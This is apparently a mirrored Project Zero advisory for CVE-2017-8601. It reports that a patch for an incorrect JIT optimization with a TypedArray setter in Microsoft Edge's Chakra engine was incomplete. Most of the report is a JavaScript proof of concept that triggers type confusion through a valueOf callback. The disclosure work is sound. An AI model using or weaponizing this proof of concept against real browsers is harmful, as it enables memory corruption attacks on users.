Microsoft Edge Chakra Incorrect Jit Optimization

Yet another finding that the fix for an incorrect jit optimization with TypedArray setter in Microsoft Edge Chakra may not be sufficient.


MD5 | bdb1cf3e206e20716cc1331d5db8586b

Microsoft Edge: Chakra: incorrect jit optimization with TypedArray setter #3

CVE-2017-8601


Coincidentally, Microsoft released the patch for the <a href="/p/project-zero/issues/detail?id=1290" title="Microsoft Edge: Chakra: incorrect jit optimization with TypedArray setter #2" class="closed_ref" rel="nofollow"> issue 1290 </a> the day after I reported it. But it seems they fixed it incorrectly again.

This time, "func(a, b, i);" is replaced with "func(a, b, {});".

PoC:
'use strict';

function func(a, b, c) {
a[0] = 1.2;
b[0] = c;
a[1] = 2.2;
a[0] = 2.3023e-320;
}

function main() {
let a = [1.1, 2.2];
let b = new Uint32Array(100);

for (let i = 0; i < 0x1000; i++)
func(a, b, {}); // <<---------- REPLACED

func(a, b, {valueOf: () => {
a[0] = {};

return 0;
}});

a[0].toString();
}

main();

Tested on Microsoft Edge 40.15063.0.0(Insider Preview).

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt


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